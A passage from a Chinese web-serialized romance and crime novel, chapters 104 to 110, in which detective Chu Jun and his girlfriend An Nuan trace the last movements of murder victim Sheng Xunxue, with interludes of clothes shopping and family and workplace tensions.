有零食点心,还有一些寻常的日用品。 比如牙膏牙刷,毛巾什么。 安暖将这些东西拿过来,放在桌子上一件件地摊开。 “你们看一下,盛寻雪有没有往家里带过这些东西?” 很多人对日用品是有习惯的,用惯了哪个牌子,就会一直用哪个牌子,一般不会更换。 但是安暖刚才看了一下,盛家现在用的牙刷牙膏,毛巾什么的,和盛寻雪买的完全不同。 是随便换了牌子,还是说,这些东西,都不是给家里买的? 盛寻雪父母一看,便说:“你说这是阿雪买的东西,不可能,绝对不可能是给家里买的。” “为什么这么肯定?” “因为家里的日用品她从来不买的,都是我买。”盛母确定地说:“我们就这一个女儿,又不用她交伙食费,也不用她给买什么,她自己的钱,都是自己花,自己存着的。” 他们之前也查过盛寻雪的存款。 算了一下,她的工资,去掉估计的开支,剩下的钱。这个是可以对得上的,所以盛寻雪和她的秘密男朋友之间的关系,不是金钱关系。 “不是带回家的,那这些,又是拿去了哪里呢?” 零食还可以说是随便吃掉了,日用品一定有一个去处。 只是暂时找不到这个答案。 第105章 难言之痛 从盛家出来,已经五点了,卢瑞泽开车,回了局里。 白天出去调查的可不止他们几个人,有结果没结果,晚上都要开个会,报告一下进展,再根据进展,大家商量一下,安排一下明天的工作任务。 其他人马,都没有什么消息,倒是去药店的人,问出了一件事情。 就在上个月的周三,盛寻雪果然去一家私人诊所买过东西。 江笑愚拿出一本账本。 “这是一心诊所的账本。”江笑愚翻到某一页:“这一夜,就是上个月周三,也就是八月二十号那天,他们诊所的记录账本。” 楚隽接过去看了一下。 上面并没有购买者的名字。 国家对诊所的要求,购买正常药品的时候,不需要实名登记。这些记录的账本,都是店家为了方便自己做账才留下的。 “这一笔。”江笑愚指了一下其中一条记录:“这一笔就是盛寻雪购买的。” 说着,江笑愚拿出一只药膏,就是这种药膏。 楚隽道:“这个诊所的老板,认识盛寻雪?” “不认识。”江笑愚道:“我带了照片,给他看了照片之后,他想起来一些。说盛寻雪当时的情况看起来不太好,所以多问了几句。” “具体说说。” 安暖看了一下那只药膏。 是一只很寻常的清凉消肿止痛的药膏。 安暖想了想,今天在盛雪寻家里,也没有看见这样一只药膏。不过这样一小只药膏,用完扔了也有可能,就是不扔,随便丢在什么地方,也不容易看见。 她在盛家,也只是随便一看,又不是去抄家,不可能每一个角落都看得那么仔细。 江笑愚说:“根据老板说,当时是下午,三点半左右,这个时间是对得上的,从盛寻雪下车的车站走到这家诊所,如果走得很慢,差不多就是这个时间。盛寻雪进了诊所,要买消肿消炎的药膏。” 听起来很正常。 但是后面就不正常了。 江笑愚说:“我们一般认为,这种药膏消肿消炎什么的,效果都差不多。但事实上,也是有区分的。有各种不同药材的,用在不同地方的,效果上也有细微的差别。所以盛寻雪说要买这种药膏,老板就多问了几句,问她哪里不舒服,好具体给她推荐什么样的药膏。” “本来这是很正常的事情,可是老板一问,盛寻雪却支支吾吾的。” “她当时的状态不太好,走路都有些费劲儿,表情也有些痛苦。这一支吾,老板就有些疑心,想问问她是否有什么特别不舒服,或者遇到什么事情。好帮她报警,或者送医院什么的。” 大部分人,都是好人。 “结果呢?”楚隽道:“老板有没有问出来,盛寻雪到底有什么不舒服。” “不知道。”江笑愚说:“老板说,盛寻雪一会儿说自己胳膊痛,一会儿说自己后背痛,但显然都是敷衍。后来,他见盛寻雪不肯说,也没有再追问,就给她推荐了一款常规的都能用的药膏。还给她开了几颗止痛药。” 安暖接过药膏,仔仔细细地看。 消炎消肿……支支吾吾的态度,含糊不清。 “江哥。”安暖说:“老板就没大胆的猜测一下盛寻雪的伤在哪里?开诊所的,应该经验都很多,各种情况都遇见过吧?” 江笑愚笑道:“小安真的聪明,我多问了几句,老板确实给了一个猜测。我听了,也觉得合理。” 众人都看着他。 江笑愚说:“老板说,她看盛寻雪走路的姿势有些别扭,又要消肿的药膏,所以怀疑……她可能受伤的地方难以启齿。” 这在刑警队,是一个很正常的话题。 如果是在法医室,就是一个更正常的话题。 不过江笑愚说完之后,悄悄地看了一眼安暖。 刑警队等其他人,都是见过各种案子的,对各种问题都接受良好,再恶劣的情况他们都见过,在他们眼里,是真的没有男女性别之分。 但安暖不是刑警队的人,也没经历过这些,他有点担心,安暖会不会觉得尴尬什么的。 好在安暖面无表情,非常淡定。 安暖正色说:“我也觉得这是最合理的推测,如果确实是这样,那么正好,就和她有一个秘密男朋友这件事情联系起来了。” 盛雪寻这样的性格,可以说是敢爱敢恨,大风大浪都敢闯的。 作为为数不多的女性销售人员之一,盛雪寻的性格可以说是很泼辣的,不泼辣吃不了这碗饭。至今工厂里还流传着她在一次招待客户的酒会上,因为对方老总借酒装疯,动手动脚,一酒瓶给人开了瓢的事件,血流了一脸。 这样的性格,在外面如果遇到了非法性侵事件,是绝对不会息事宁人的。 除非她是自愿的。 或者只是个纯粹的意外。 那么这个对方,只可能是她的那个秘密男朋友了。 男女朋友玩儿过火,这虽然不太好,也比较正常。 楚隽道:“现在所有的线索,都指 向了这一点,盛雪寻的男朋友。如果在一个月前,盛雪寻因为和男朋友房事过度,造成身体损伤。这可能就是他们的矛盾点。他们可能因为这个产生了矛盾,产生了争执,继而矛盾升级,成为她男朋友杀人的原因。” 今晚这个会,仿佛迷雾中有了一点光亮。 但迷雾依然没有散去。 因为盛雪寻的这个神秘男朋友,目前依然是个谜一般的存在,没有流露出一点信息。 到底是有多见不得人啊。 目前看来,还是要从盛雪寻生前的行踪来查。 盛雪寻的男朋友有如此的需求,他们之间见面的次数一定不少,天下没有不透风的墙,一定有人见过她偏离路线,去了别的地方。 出会议室的时候,又是九点了。 满天繁星。 安暖习惯性的看了看时间,这一回终于有手表了,光秃秃的手腕上,看着顺眼了不少。 “跟着我,辛苦了。”楚隽说:“以后可能会有很多日子,都会这么晚下班。” 安暖看他笑一眼。 “你觉得,我是为了你才加班熬到那么晚的吗?” “难道不是吗?” “当然不是。”安暖正色说:“你是我男朋友,这没错,可我加班可不是为了男朋友,是为了我喜欢的事业。就算没有你,我也想做一个优秀的刑侦人员,遇见案子,我也是要加班的。” 生活是生活,事业是事业,安暖分得清清楚楚。 第106章 买买买 楚隽愣了一下,又想了一下:“你说得对。免费看书就搜:看书屋 我这么想,确实狭隘了。” “说明你还不够了解我。”安暖点了点楚隽胸口:“不过没关系,谈恋爱的目的,就是为了相互了解。” 安暖往前走去。 楚隽跟在后面,还拎着她的包。 想来想去,他觉得很奇怪。 他一直觉得自己是个挺强势的人,身为刑警队长,无论对内对外,都是冷静理智强大的。但是在安暖面前,一直没能竖起这个形象。 上了车,安暖一边系安全带,一边顺口道:“走吧,回家吧。” “不着急回家。”楚隽说:“带你去买几件衣服。” “买衣服?”安暖看了看自己身上:“我有衣服穿啊,不用买衣服。” “你是有衣服,但眼见着天要凉了。你要添些厚点的衣服。”楚隽将车缓缓地开出去:“你身上的衣服,是和王姨在家门口的批发市场买的吧?” “对。” “你穿什么都好看,但总不能秋天还穿夏天的衣服。”楚隽说:“这几天忙,先随便挑几件免得突然降温。等这案子结了,我再带你好好置办。” 安暖一时也不知道该说什么。 楚隽虽然没说,但是她心里也有数。 作为安暖,她觉得自己现在的衣服没什么问题。 她对衣服没那么多讲究,穿得舒服得体,这就行了。 可作为楚隽的女朋友,在警局里还无所谓,要是出门见朋友什么的,这衣服可能就有些廉价了。 但这行头一添置,可是一笔不小的开支。 之前去买手表的时候,也路过了一些服装柜台,随便看了两眼。 商场里的柜台,这些衣服可都是大几十,上百几百的。 随便买买,没有上千下不来。 她不想花楚隽那么多钱。 看安暖的脸色有些纠结,楚隽说:“你不要有心理负担,别说我们现在是男女朋友,就算不是,你的衣食住行,我来负责也是理所应当。” 安暖有点纠结。 不过看了看手上的表,又释然了。 不该收的,都收了。 这会儿有什么好在意的呢?一味地在意,反倒是矫情了。 “可是现在都这么晚了,还有店开门吗?”安暖看着窗外,窗外一片漆黑。 “有。”楚隽非常自信:“就算别人去没有,你去,也一定有。” 楚隽熟门熟路,带着安暖进了百货大楼。 他们到的时候,已经是九点半了,大楼里已经开始清场,准备下班。 “我说下班了吧。”安暖看着人人都往外走,只有他们往里走:“咱们现在去挑衣服,耽误人下班,要挨骂的。” “虽然耽误下班,但是挣钱啊。”楚隽说:“放心吧,不会骂我们的。骂也是骂我,不会骂你。” 三楼是女装部,上了三楼之后,楚隽带着安暖进了一家店。 “你别着急,这家店是我常去的,和店里的人很熟悉。我之前就跟他们店长打了电话,说今晚要过来。” 这对楚隽来说,习以为常。 他想来公事公办,从不做以权谋私的事情。 但这也不算以权谋私,他是付钱的,对方是赚钱的,这种事情,轻车熟路。 店长已经等在门口。 “楚少,您来了。” 果然没有一点被迫加班的郁闷。 就像卖手表的小姐姐一样,今晚加的这会儿班,他们能拿到的提成,足以抵消加班的劳累。 “来了,今天要辛苦你们加会儿班。”楚隽说:“最近局里忙,白天没时间,这会儿才下班,带我女朋友过来挑几件衣服。” 不晶莹剔透的人,做不了大牌的店长。 店长一看安暖,立刻道:“小姐您好,欢迎光临。” “你好。”安暖点了点头:“有劳了。” 对季节变化最敏锐的地方,大约就是服装店了。 夏天还没到,裙子就上柜台。夏天还没过,秋款的外套大衣,甚至冬天的羽绒衫新款,也都要来了。 谁家也不会等降温了才上冬装。 “店里现在都是新款的秋装。”店长说:“楚少,这位小姐皮肤白,穿什么颜色都好看。” 店长一眼就能看出,安暖这一身加起来没有五十块。 但是她半点也没有流露出异样的眼神,安暖付不起钱没关系,楚隽付的起啊。 不要对客人有太多好奇心,只要他们能付钱就行。 “选选看自己喜欢的。”楚隽拿下一件夹克:“这件怎么样,版型很不错,这颜色你应该也是喜欢的。” 安暖接了过来,店员连忙将衣服展开:“小姐您试一试,店里也有配套的内搭,可以一起试,效果会更好。” “嗯。”楚隽道:“那就一起拿,多配几身换洗。” 要不然店员高高兴兴的加班呢,楚隽这随便一买,比他们一天的销售额都高。 店长在一边说:“这件夹克有女款的,也有男款。三少您要不要也试试,可以和小姐穿情侣装呢。” 楚隽一听:“嗯,挺好的,拿来我试试。” 来都来了,买都买了,安暖也就放下了那些小心思。 好看的衣服,谁不喜欢呢? 要么不要,要么开开心心地要,做人不能既要还矫情。 正在试着呢,有人从外面路过。 都已经走过去了,又退了回来。 “呦,这不是楚二少吗?” 是一个年轻男人的声音,手里拎着几个袋子,显然也是来买东西的。 安暖进去换衣服了,楚隽站在靠近门口的地方看配饰,一听这声音,皱了皱眉。 一男一女。 “好巧。”楚隽表情淡淡的。 安暖正好换了一身,从试衣间里出来,觉得领子有点儿紧,一边扯着领子了,听楚隽说话,便看了过来。 昨天买表的时候,就遇到了翟琛。 今天是不是又遇到熟人了? 这很正常,楚隽来的这些地方,也是他那些朋友长来的。都是一个圈子的,低头不见抬头见。 安暖一看,是梁柔。 就是之前去酒吧碰见的那个非常有性格的姑娘。 一头的红发,一只耳朵上好几个耳钉。还为了给自己的闺蜜出气,把她关在酒吧的厕所里,阴差阳错的碰上了黑社会老大鄂嘉荣的那个姑娘。 第107章 给自己留条退路 梁柔身边的男人,安暖都是不认识,但是有一点点脸熟。免费看书就搜:看书屋 不认识,却眼熟。 安暖心里一动。 她知道了,这个男人,很可能就是鄂嘉荣的弟弟。那个喜欢梁柔的男人鄂平成。他们兄弟俩虽然不是双胞胎,但长相还是有一些类似之处的。 果然,梁柔和鄂平成,是有关系的。 楚隽连鄂嘉荣都不放在眼里,对弟弟,自然更不放在眼里。 而且这种人,他是连交道都不愿意打的。 见鄂平成站在门口不走,楚隽不耐烦道:“有话要说?” “有。”鄂平成说:“上次的事情,我听说了。我哥,因为柔柔的关系,对楚二少的人无礼了。” 梁柔转头对鄂平成说:“我进去看看衣服。” 鄂平成点了点头。 梁柔走进了店里。 安暖抬手将一件感觉有点小的衣服还给售货员,梁柔伸手说:“我试试。” 售货员连忙将衣服给她。 梁柔拿了衣服,反正只是外套,也不用进试衣间,就直接穿了起来。 一边穿,一边看了眼安暖。 “几日不见,你这是改头换面,脱胎换骨啊。” 安暖现在一身换的都是店里才挑的新衣服,这衣服质量款型确实是好。人要衣装,佛要金装,跟之前一身大市场里淘来的衣服相比,确实改头换面。 “还行吧。”安暖说:“几日不见,梁小姐也步入人生新阶段了。” 上次在酒吧的时候,梁柔和鄂平成应该是没有什么关系的,甚至提起来,是非常厌恶的语气。 不过几日,就这样挽着搂着逛商场了。 这中间,也不知道发生了什么。 梁柔脸色有点不太好看,但是撑住了。 “是啊,人生总有很多意想不到的事情和发展。”梁柔冷笑了一声:“安小姐之前,说是楚少的干妹妹。现在看来,不是妹妹了吧?” 安暖现在和楚隽可正穿着情侣装呢,一模一样的衣服,一个男款,一个女款,一看就是一对。 可别说是亲子装。 “不是妹妹,是女朋友。”安暖说:“没听过这句话么。” “什么话?” “先是朋友后是妹,最后变成小宝贝。”安暖拿下个丝巾在脖子上比划一下:“我和楚隽本来就有婚约,现在是男女朋友,这不是很正常吗?” 她和楚隽,坦坦荡荡,没有什么见不得人的。 安暖穿着小的衣服,梁柔穿着也有点小。 她脱了下来,让店员去拿大一号的衣服。 梁柔捋了捋头发,给了安暖一个风情万种的笑。 “安暖。”梁柔说:“之前的事情,是我对不起你,所以,我送你一个忠告。” 安暖挑了挑眉。 梁柔说:“京市喜欢楚二少的人很多。你可能是最新鲜的,但新鲜能维持多久呢?男人嘛,想要的时候闹心抓肝,得到了就不稀罕了。无论怎么样,给自己留条后路。” 售货员拿着大一号的衣服过来了。 梁柔接过衣服,没有试,直接说:“买单。” 安暖对着镜子摆弄着纱巾,想着梁柔的话,觉得怪怪的。 门外,楚隽和鄂平成也谈完了。 鄂平成带着梁柔走了,楚隽回到安暖身边。 “这个丝巾怎么样?”安暖侧头示意楚隽:“配这个低领的毛衣。” “挺好的。”楚隽看了看:“不过你倒是提醒了我,你这脖子上太空了。等忙完了,带你去买几条项链,再买个戒指……嗯,咱们俩是不是要买个对戒,情侣对戒。” 有钱就是不一样,项链也是几条一买,主打回去配衣服。 “不着急,有空慢慢挑。”安暖无所谓:“衣服也挑得差不多,我们走吧。” 沈淮看了看已经选出来的那些,又挑了两件。 “先这些吧。”沈淮说:“等有空我再带你来慢慢逛,这些先穿着,够这几天换洗了。” “好。” 沈淮道:“包起来吧。” 售货员高高兴兴去包衣服了。 付钱的时候,安暖捂住了眼睛。 楚隽看着好笑:“你这是干嘛?” “看不见,就没有。”安暖自欺欺人:“不能看,看了心里会扭曲,会仇富。” 楚隽更想笑了。 男朋友给女朋友买东西,这很正常。各种组合都有,但是安暖这一款,是真没有。 两人大包小包的出了店,将大包小包都塞进车里。 “你先上车,我去买点东西。”楚隽突然说了一句,然后往路边走去。 安暖上车等了一会儿,楚隽回来了,手上拿着一个烤红薯。 “尝尝。”楚隽说:“别看巷子深,这烤红薯摊子几十年了,味道一如既往的好。” 安暖接过烤红薯,深吸一口气。 香的很。 闻着就甜。 楚隽也上了车。 安暖咬了一口烤红薯。 又甜又软糯。 楚隽问:“好吃么?” “特别好吃。”安暖将红薯递过去:“你要不要咬一口。” 楚隽凑过去,就在安暖咬过的地方咬了一口。 “嗯,特别甜。比我上次吃的还要甜。” 车启动,驶进夜色中。 但再黑的夜,也挡不住粉红泡泡扑通扑通的冒。 安暖缓了一会儿,才问:“刚才那个人,就是鄂平成吧。上次咱们在酒吧碰见的那个人的弟弟?” “你怎么知道?” “长的像啊,而且他身上也有种痞痞的气息,就像是个混黑的。” “是,就是他。” “你和他个都没交情,跟他更不可能有交情了。”安暖说:“在外面聊了什么?是不是上次的事情,惹了什么麻烦?” “确实是聊上次的事情,但是你不用担心,鄂家我还不放在眼里。” 安暖点了点头,心情有点沉重。 虽然不放在眼里,但肯定是得罪了。 这种小人,得罪了很麻烦。 平时他们可能像是不存在一样,但又像是下水道的蟑螂,灭绝不了,只要有机会,就会出来恶心你一下。 但是这种人,也不仅仅是鄂家一家,楚隽作为刑警队队长,得罪的这种人多了去了。 楚隽道:“不过鄂平成是来跟我道谢的。” “道谢?为什么?” 楚隽笑了一声:“你以为他们兄弟俩,感情很好吗?” 第108章 受宠的小儿子 “不好吗?”安暖奇怪了:“我记得上次见面的时候,鄂嘉荣为梁柔出头,就是说自己的弟弟,喜欢梁柔。免费看书就搜:我的书城网 而且那时候,应该是还没有追上吧。” 这种,自己弟弟喜欢的,就是自己人的感觉,难道不能说明兄弟俩关系好吗? “知人知面不知心。”楚隽说:“我查过鄂嘉荣一段时间,虽然没抓到什么把柄,对这兄弟俩的事情,倒也知道一些。” 兄弟姐妹血脉相亲,但是有矛盾的,太多太多了。 鄂家以前涉黑,敛财夺权不择手段,但是洗白得早。这会儿至少明面上的生意都合法,至于私底下,也没有什么明显的把柄,所以上面也睁一只眼闭一只眼。 这也是鄂嘉荣不敢和楚隽硬碰硬,忍气吞声忍了一口气的原因。 毕竟底子不干净,真把楚隽给惹毛了,咬死他不放一查到底,那也是个大麻烦。 鄂嘉荣这样的人,能狠,也能忍。 楚隽道:“这兄弟俩相差五岁,哥哥一手管着家里的生意,弟弟吃喝玩乐,花花公子。看起来兄友弟恭,还挺和谐。其实,不是那么回事。” 安暖明白了:“弟弟想上位?” “谁不想呢。”楚隽一副看透人生的觉悟:“虽然鄂嘉荣对鄂平成不错,但这种不错是随时可以改变的。与其说是兄弟情深,不如说是施舍。什么时候想收回,随时都可以收回。” 爹有娘有,不如自己有。 何况是哥哥有呢? 安暖迟疑道:“所以,他在向你示好?” “对,可以这么说。” “那……他就不怕你告诉鄂嘉荣?” “怎么可能,我和鄂嘉荣又没有交情,他们兄弟俩只要不犯法,就算斗得你死我活,我也不会掺和的。” 安暖点了点头:“我明白了,所以鄂平成就对你示好。他知道你不会参与,但不管参与不参与,表态总没错。” “不错,就是这么回事。” 上一次的事情,鄂嘉荣是彻彻底底的得罪了楚隽。即便没闹到,也心照不宣。 一个是得罪,一个是示好。 总是有区别的。 安暖在心里复盘了一下,感慨道:“鄂嘉荣因为鄂平成得罪你,鄂平成却因此来示好。怎么看起来,哥哥都是比较吃亏的一个啊。” “有什么吃亏的。”楚隽冷笑一声:“那天的事情,我已经手下留情了。” 幸亏是十天前,楚隽还能稍微冷静一点。 要是现在,鄂嘉荣估计不能全胳膊全腿地离开酒吧。 回了家,楚母还是没睡。 她最近觉有点少。 不过难得,翟琛也回来了,正在客厅里和母亲说话。 车进了院子,两人一起往外看。 楚母说:“阿隽的事情,你知道了吗?” “什么事儿?” “喏。” 楚母一抬下巴。 楚隽和安暖下了车,打开后排车门,从里面拿出了大包小包。 “妈,你说的是阿隽和小安的事情?”翟琛道:“他们怎么了,这不是感情挺好吗?昨天我还碰见他们在百货大楼买看手表呢。” “你也看见了啊?”楚母更愁:“他们俩感情现在突然那么好?” “这不是很正常吗?”翟琛一副能理解的样子:“阿隽以前也没谈过恋爱,现在突然身边多了个漂亮姑娘,处着处着,自然就有感情了。妈,你不是一直愁他讨不到老婆吗?现在难道不高兴?” “我……” 楚母真是愁。 有女朋友的也愁,没女朋友的也愁。 安暖和楚隽已经一人手里拎了好几袋,一边说话一边走了过来。 夜里有些凉,刚买的衣服里有薄一些的外套,就直接穿上了。 虽然不是情侣款,但是同一色系。 谈恋爱的人就是这么幼稚,喜欢穿一样的,用一样的,吃一样的,生怕全世界看不出来他们在一起了。 进了门,楚隽一看:“妈,哥,你们还没睡呢?” 安暖也跟着道:“伯母,大哥。” 虽然她看翟琛一万个不顺眼,但表面功夫要做到。反正翟琛正常不在家里住,不用天天跟她鼻子不是鼻子,眼睛不是眼睛的看不顺眼。 “哦,你哥回来了,我们说说话。”楚母说:“你们这是……去逛街了?” 楚隽道:“也不算逛街,就是我看要冷了,给暖暖买几身秋天的衣服。怎么样,我眼光还不错吗?” 楚母不是会说出尖酸刻薄话的人,能说的话,昨天就说了。今天继续买买买,她也说不出来什么。 只好说:“挺好的,挺好的,你们俩穿的都挺好看的。你那么细心照顾暖暖,我就放心了。” 两人打了招呼,上楼。 楚母叹了口气,看翟琛。 “阿琛,你觉得你弟弟和安暖,合适吗?” 翟琛笑了一下:“妈,你这么说,肯定是觉得不合适了。 ” “是吧……”楚母纠结啊:“但是你弟弟难得谈一次恋爱,我根本不敢说,生怕说了以后,适得其反。” “妈,你不说是对的。”翟琛说:“这热恋中的情侣啊,你是不能拆散的,你越反对,他们越来劲儿,有种携手对抗全世界的错觉。” “我知道,所以我没敢说啊。” “开始阿隽不喜欢安暖,不就是因为觉得她想攀高枝吗?等着吧,你看这买了一身又一身,早晚他会觉得不对劲。” 楚母皱着眉。 她比那些铁了心要棒打鸳鸯的婆婆更纠结,因为她觉得安暖也没那么差,但是又够不上,好像差点什么。 这一宿一宿的,头疼得睡不着觉。 第二天早上,安暖难得在早餐桌上看见那么多人。 除了楚父出差去了,其他人都在。 只好一个一个的喊过去。 两人坐下,王姨端了两碗粥过来。 桌上有各种中式早点,还有小蛋糕,楚家每回的饭菜,都丰盛的很。 楚隽一边吃,一边说:“王姨,这个蛋糕味道不错,剩下的给我打包起来,我带走。” “啊?” “嗯,这两天忙,中午在外面只能对付一口。带点蛋糕放车上,饿的时候垫补一口。” “好的。” 王姨毫不犹豫地就开始装盒子。 一桌子人,有爷爷,有妈妈,有哥哥,没有人再对这盒蛋糕有什么想法。 安暖后知后觉地发现,在外面冷硬形象的楚隽,在家里,其实是个受宠的小儿子。估计一家子里除了老爷子,别人是连重话都没对他说过一句的。 第109章 你看我头上绿不绿 吃完早饭,上了车。免费看书就搜:我的书城网 安暖翻来覆去地看小蛋糕。 “怎么了?”楚隽说:“你应该喜欢吃这个吧,刚才看你吃了第二块……吃得笑眯眯的。” “喜欢,挺喜欢的,不过味道有点单调,要是加一点水果就好了。”安暖说:“我会做蛋糕,等忙完了,我亲自给你做蛋糕吃。” 烧饭烧菜,安暖没有爱好也没有天分。 做蛋糕蛋挞小饼干,安暖是个熟练工。 “好。”楚隽说:“不过家里没有这些烤箱什么,等忙完了,我陪你去买。” “好。” 案子要破,日子也要过。 两人进了警局,停车开门。 安暖说:“你先过去,我去图书室,和周叔说两句话。” “好。” 楚隽先走了,安暖往图书室走的时候,正好遇见祁雨诗,祁雨诗一看她,说:“小安,你这衣服真好看,挺贵吧。” “嗯,还好吧。” 安暖敷衍地笑了一下。 她跟祁雨诗,本来是不好不坏的关系,认识几天的,楼上办公室的同事罢了。 见面打个招呼,其他就没什么了。 但是祁雨诗和董紫莺的关系很好,要不然的话,当天也不会是她来找楚隽传话。 之后,董紫莺表白失败。 人有一种奇怪的心理,董紫莺表白失败,作为闺中好友的祁雨诗自然是心疼的。她觉得自己的闺蜜哪儿哪儿都好,喜欢什么人都能配得上。 可是董紫莺被拒绝了。 那是谁的错呢? 不是董紫莺的错,也不是楚隽的错,只能是安暖的错。 就像是短剧里,女二被男主冷淡之后,十有八九会去找女主的麻烦,而不是去找男主的麻烦。 此时祁雨诗看见安暖,就忍不住要刺她两句。 撕破脸也不至于,但有些话就是不说不舒服。 于是祁雨诗说:“小安,你命可真好。一来京市就找了个这么优秀的男朋友,以后跟着楚队,可就飞上枝头变凤凰了。” 这话说的就不太好听了。 安暖停下脚步,转头看她。 祁雨诗被安暖看得有些不安。 “祁同志,你想说什么呀,可以直说,不用拐弯抹角。”安暖说:“你想说的,是我想的那件事吗?” 祁雨诗脸色微变。 这件事情是秘密,至今没有第四个人知道。 一旦被知道了,董紫莺就会很尴尬。 好在安暖没有挑明。 “祁同志,那件事情里,我才是受害者好吗?你看我头上,差一点就长了草。我不计较,不代表我有错。我是外地人,我是条件不好,但我吃的用的穿的,都是我男朋友的,他没有意见,我觉得,你也没有立场有意见。” 祁雨诗之前见到的安暖,都是和和气气的。 人生地不熟,可不是和和气气。 但这一次,却有点冷硬了。 “祁同志。”安暖说:“你看我不顺眼,可以当做没看见,但不要在我面前冷嘲热讽,夹枪带棒的。我这人心眼小,受不了什么气。闹出来,对谁都不好。” 祁雨诗还是第一次体会到安暖怼人的力量,被怼的无话可说。 归根到底,她和董紫莺不占理。 他们局里,其实是有过类似的事情的。 领导早些年乡下娶的妻子,因故一直留在乡下。后期才进京,难免和这花花世界格格不入。特别是领导又年轻有为,前途无量的时候,就会有人质疑。 这个时候,别管心里怎么想,至少明面的立场,都要站在妻子这一方的。 没人敢当面站小三。 一个名正言顺,就立于不败之地。 安暖说完就走了。 忙着呢,没空和祁雨诗多掰扯。 但这事情,还是被楚隽知道了。 安暖回刑警队的时候,便被楚隽叫了进去。 楚隽关上了门。 “怎么了?”安暖感觉怪怪的:“有事儿要跟我说?” “刚才祁雨诗是不是找你不痛快了?” “你怎么知道?”安暖奇道:“这么手眼通天呢?” 这个年代,可没有无处不在的摄像头。 楚隽说:“有人看见你和祁雨诗在楼梯旁说话,没听见你们说什么,但说表情不太好。她和董紫莺关系好,我猜想,是不是因为董紫莺的事情,找你的麻烦?” 果然不愧是刑警队的,这推理能力棒棒的。 安暖给了楚隽一个赞。 “猜得挺准的,大概是我今天的衣服刺激了她。你越优秀,她越觉得我不配吧。” 楚隽脸色微变,刚要开口,被安暖捂住了嘴。 “没关系。”安暖说:“我不在意,你不用为我出头。” “真的,我怕你委屈,这是我做男朋友的失责?” 楚隽有点迟疑。 从上次酒 吧的事情,安暖就看得出来。 楚隽可不是一个会让自己人吃亏的人,那天几个惹了她的人,有一个算一个,都报复了回来。 “真的。楚隽,我是一个心理强大的人。”安暖说:“只要你坚定地站在我这边,所有流言蜚语,狂风暴雨,我都可以坦然面对,伤不了我分毫。” 从她答应楚隽开始,就知道这些言语在所难免。 祁雨诗不是第一个,也不会是最后一个。 但是没关系,安暖不在乎。 “但是……”安暖捏了捏楚隽的脸:“如果有一天,你变了,我就会义无反顾的离开,什么也留不住我。” 再难走的路都可以走,可目标一旦消失,就将毫无意义。 “我明白。”楚隽伸手握住安暖的手:“我不会变的。” 安暖点了点头。 “还有。如果需要,尽管对我开口,不用客气。” “那当然。”安暖眉眼弯弯一笑:“有男朋友不使唤,我可不会那么傻。” 电话铃适时的响了起来,打断了办公室里的粉红泡泡。 楚隽接了电话。 “嗯,对……你稍等。” 楚隽拿着电话说:“找你的。” “找我?” 安暖一时没反应过来。 “对,找你的。”楚隽说:“他说,他叫庄致轩。” “哦,是找我的。”安暖连忙接了电话:“小庄哥。” “小安,你好。”庄致轩在那边说:“我已经把书给你找好了,你看看什么时候方便,我给你送过去。” “不用不用。”安暖连忙说:“我去拿,你给我一个具体地址,我有空去拿。你坐车过来不方便的,我有车,我过去快。” “行。” 庄致轩报了一个具体地址,安暖连忙拿纸笔记了一下。 第110章 走了另一条路 庄致轩说:“那行,我一般都在学校,你过来的话,提前给我打电话就行。免费看书就搜:我的书城网 ” “好的,麻烦你了。” 挂了电话,安暖把地址塞进包里。 “这就是之前你说过,老家的那个邻居?” “对,就是她。”安暖道:“我想着怎么也得弄个差不多的学历,所以就咨询了一下他,他挺热心的,说给我找初中高中的教材。没想到他动作这么快,这就找全了。” “这事情你没给我说过啊。” “不是什么大事儿。”安暖拿着包打算出门:“前两天你一直在忙案子,怎么好打扰你。” 安暖刚走到门口,就被楚隽拽住了。 “怎么了?” “下次告诉我,有任何问题都可以告诉我。”楚隽正色说:“我有时候工作确实很忙,但工作再忙,也不缺这一点时间。而且不是什么大问题,一个电话就能解决,不耽误。” 安暖从善如流:“好,那我下找你。” 大概楚隽觉得,女朋友有事情,不求助他,却去求助其他男人,面子上有些挂不住呢。 安暖回答得很爽快,楚隽满意了。 楚隽看了看地址:“今天结束之后,我们转过去一下,给你拿东西。” “好。” 在茫茫人海中找一个人,这真不是一件简单的事情。 但这个人也不会凭空消失。 幸亏她有工作笔记。 这是工厂对销售人员的要求。 销售人员,底薪不高,主要是拿提成。卖得多,拿得多。卖得少,拿得少。 考勤对他们是宽松的,但不是完全没有。 每一周的周一上午,销售部也是要开会的,大家在一起总结一下工作,汇报一下本周的工作。不然的话,难免有人钻空子,天天考勤之后就出去晃荡玩乐,混日子就图一份基本工资。 盛寻雪和其他销售人员一样,每天去拜访什么客户,都是要记录的。 楚隽将工作笔记从厂里拿来,翻到了八月二十号那一天。 “八月二十号。”楚隽说:“这一天盛寻雪早上正常从家里去上班,考勤签到之后,离开工厂。她当日要拜访的客户是华盛加工厂,从后续的工作汇报中看,那一天她是按计划到了的。” 加工厂离盛寻雪的单位有一个小时的路程。 早上八点半,盛寻雪从单位出发,九点半到达加工厂。 再一次出现,就是下午三点,出现在公交站边,身体不适,脸色苍白。 现在需要知道,她是什么时候离开加工厂的,从离开加工厂到出现在公交站的这段时间里,她在哪里? 楚隽突然想起什么,吩咐江笑愚。 “你去安排一下,之前我们排查了香山周边和凶手有相似的成年男性,再去问一下,这些人,八月二十号中午前后,都在干什么?有没有单独离开,有没有人能证明。” “好。” 江笑愚应着去了。 凶案发生在晚上,不好找不在场证据。 但如果是白天,那就好找多了。 出了警局,他们一车去了盛寻雪八月二十号去的加工厂。 加工厂的人回忆了一下,确定盛寻雪当天是来了的。 但是没有待多久。 这笔生意因为价格原因没有谈妥,盛寻雪在加工厂只待了半个小时不到,就离开了。 加工厂里和盛寻雪对接的负责人回忆了一下:“盛同志和我们加工厂有合作不是一天两天了,一般都会吃个中饭再走。但是那一天,她好像是有事情,只待了一会儿,就走了。” “知道去了哪里吗?” “不知道。”负责人先是摇了摇头,任何道:“对了,她应该不是回家,也不是回单位。” “为什么这么说。” “因为是熟人了,每次盛寻雪离开,我都会送她出门。她回家或者是回单位,都是左手边出去坐车。但是那一天,她是往右边去的,所以,应该不是回家或者去单位。但是咱们俩也没有什么私交,所以我不知道她去了哪里,可能是还有别的工作安排。” 好的销售人员,一天可不是只跑一个地方。 出了加工厂,几人往右边走去。 重走受害者的路,看看她这一路,有些什么。 盛寻雪大概是在十点多离开了加工厂,姑且将回程算着做一个小时。 十点到两点。 这中间还有四个小时的时间。 四个小时,说短不短,说长不长。 